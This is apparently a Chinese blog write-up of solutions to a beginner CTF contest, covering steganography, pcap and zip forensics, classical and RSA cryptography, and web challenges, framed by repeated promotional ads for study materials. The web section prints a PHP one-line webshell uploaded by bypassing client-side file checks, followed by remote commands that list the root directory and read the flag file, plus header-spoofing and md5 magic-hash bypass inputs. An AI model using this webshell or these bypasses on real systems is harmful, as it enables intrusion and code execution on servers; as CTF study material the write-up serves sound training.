先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
没有什么用QAQ
猜测为LSB隐写,试一下工具Stegsolve.jar,然后获得flag
方法二:
打开kali虚拟机,使用zsteg工具一把梭了
流量!鲨鱼!
下载附件后发现是一个后缀为.pcap的流量包,使用WireShark打开它
然后导出HTTP对象文件
直接全部开导,保存到一个文件夹里
然后发现了这个有点像flag的文件名
打开之后发现是一串base加密后的密文,那么将它解密即可,是两层base64
压缩包们
下载附件后是一个没有后缀名的文件,先用010editer打开看看
文件头错误了,把它改正回来,文件为也要是504B,之后,把后缀改为.zip,解压后获得另外一个压缩包flag.zip
但是解压失败,并且发现了压缩包注释,base64解码之后获得提示:
I like six-digit numbers because they are very concise and easy to remember.
那么压缩包的密码可能是6位纯数字,待会儿爆破可以试一下
既然解压失败,那么我们继续修复flag.zip压缩包,用010editer打开
然后它变正常找你要密码了,那我们使用Ziperello工具爆破,结合上面的提示,6位纯数字爆破它
使用密码232311解压压缩包,打开压缩包内的flag.txt,即可获得flag
隐秘的眼睛
解压之后是一张眼镜的图片,结合题目和图片,结合B神博客https://byxs20.github.io/posts/1154.html#1-SilentEye-1盲猜猜图片被 SilentEye 工具隐写了
使用工具解密,获得flag
空白格
下载附件之后还真是空白的,Ctrl + 空格又可以看见东西
刚开始以为是摩斯密码,看了B神博客才知道:WhiteSpace,是一种只用空白字符(空格,TAB和回车)编程的语言,而其它可见字符统统为注释。https://byxs20.github.io/posts/7979.html
把空白字符复制进去网站https://vii5ard.github.io/whitespace/,点击run即可
CRYPTO
brainfuck
正如其名,brainfuck加密,去网站解密即可https://www.splitbrain.org/services/ook
Caesar’s Secert
凯撒加密,随波逐流工具一把梭了http://www.1o1o.xyz/
Fence
栅栏密码,随波逐流一把梭了
Vigenère
维吉尼亚解密,使用网站https://www.guballa.de/vigenere-solver,然后选择法语直接爆破即可
babyrsa
from Crypto.Util.number import \*
from flag import flag
def gen\_prime(n):
res = 1
for i in range(15):
res \*= getPrime(n)
return res
if __name__ == '\_\_main\_\_':
n = gen_prime(32)
e = 65537
m = bytes_to_long(flag)
c = pow(m,e,n)
print(n)
print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
使用风二西(风大)的轩禹RSA工具分解模数N,然后计算私钥,计算明文,明文转字符即可获得flag
Small d
from secret import flag
from Crypto.Util.number import \*
p = getPrime(1024)
q = getPrime(1024)
d = getPrime(32)
e = inverse(d, (p-1)\*(q-1))
n = p\*q
m = bytes_to_long(flag)
c = pow(m,e,n)
print(c)
print(e)
print(n)
# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
结合题目提示,猜测是维纳攻击,还是用风大的工具选择维纳攻击模式即可
babyencoding
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`
part 1是一层base64加密
part 2是一层base32加密
part 3是一层UUencode加密,使用网站http://web.chacuo.net/charsetuuencode解密,获得最后一段flag,最后进行拼接即可
Web
泄漏的秘密
首先查看一下robots.txt爬虫协议。访问/robots.txt,获得一半flag
接下来查看网站的备份文件,一般是www.zip文件,访问/www.zip,下载下来之后,获得另外一半flag
Begin of Upload
发现只允许上传: JPG, JPEG, PNG, GIF图片文件
F12之后查看源代码,发现是前端验证,可以直接在浏览器检查代码把checkFile()函数删了或者改成true,并按回车确认,然后上传一句话木马文件
// 一句话木马的PHP文件的代码为如下所示
GIF89a
<?php
//?cmd=phpinfo();
$func =create\_function('',$\_REQUEST['cmd']);
$func();
?>
还是弹出要前段验证,不要慌,换个浏览器
用火狐浏览器重复刚才的操作,就上传成功了
然后访问url /upload/shell3.php,POST传参cmd=phpinfo();发现代码成功执行
那么我们就可以进行RCE了
首先查看一下根目录有什么文件 cmd=system(“ls /”);
发现 fllll4g 文件
查看它 cmd=system(“cat /fllll4g”);
即可获得flag
ErrorFlask
Flask错误模板注入
它说给他传两个参数number1 和 number2
那我只给它传一个参数 number1 ,导致它报错
/?number1=1
然后Ctrl+U查看源代码,Ctrl+F搜索flag,即可获得flag
Begin of HTTP
它说使用 GET方式 来给 ctf 参数传入任意值来通过这关,那么我们就
/?ctf=1
第二关需要Ctrl+U查看源代码来找到secret,发现它被base64加密了,那么我们解密之后再用POST传参即可
第三关需要再Cookie中把power的值改为ctfer,改完之后回车确认,然后刷新网页即可过关
接下来需要修改User-Agent头部信息,最后点击EXECUTE执行操作来过关
接下来也是修改HTTP头,用Hackbar即可,需要使用Referer头
最后一关需要本地用户才可以访问,按照常规思路是用X-Forwarded-For,但是不行
那么我们换一个 x-real-ip,参考其他师傅博客http://t.csdn.cn/7Y4Cc
Begin of PHP
题目源码
<?php
error\_reporting(0);
highlight\_file(\_\_FILE\_\_);
if(isset($\_GET['key1']) && isset($\_GET['key2'])){
echo "=Level 1=<br>";
if($\_GET['key1'] !== $\_GET['key2'] && md5($\_GET['key1']) == md5($\_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($\_POST['key3'])){
if(md5($\_POST['key3']) === sha1($\_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($\_GET['key4'])){
if(strcmp($\_GET['key4'],file\_get\_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($\_GET['key5'])){
if(!is\_numeric($\_GET['key5']) && $\_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($\_POST);
foreach($\_POST as $var){
if(preg\_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file\_get\_contents("/flag");
}else{
die("nope,this is level 5");
}
}
level 1的方法一:
首先要通过Level 1 ,发现它是PHP的弱类型比较,只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
那么给key1和key2以GET方式传参,即可通过Level 1,到达Level 2
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
全源码合集+工具包**
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-a0vBACDR-1713383986253)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!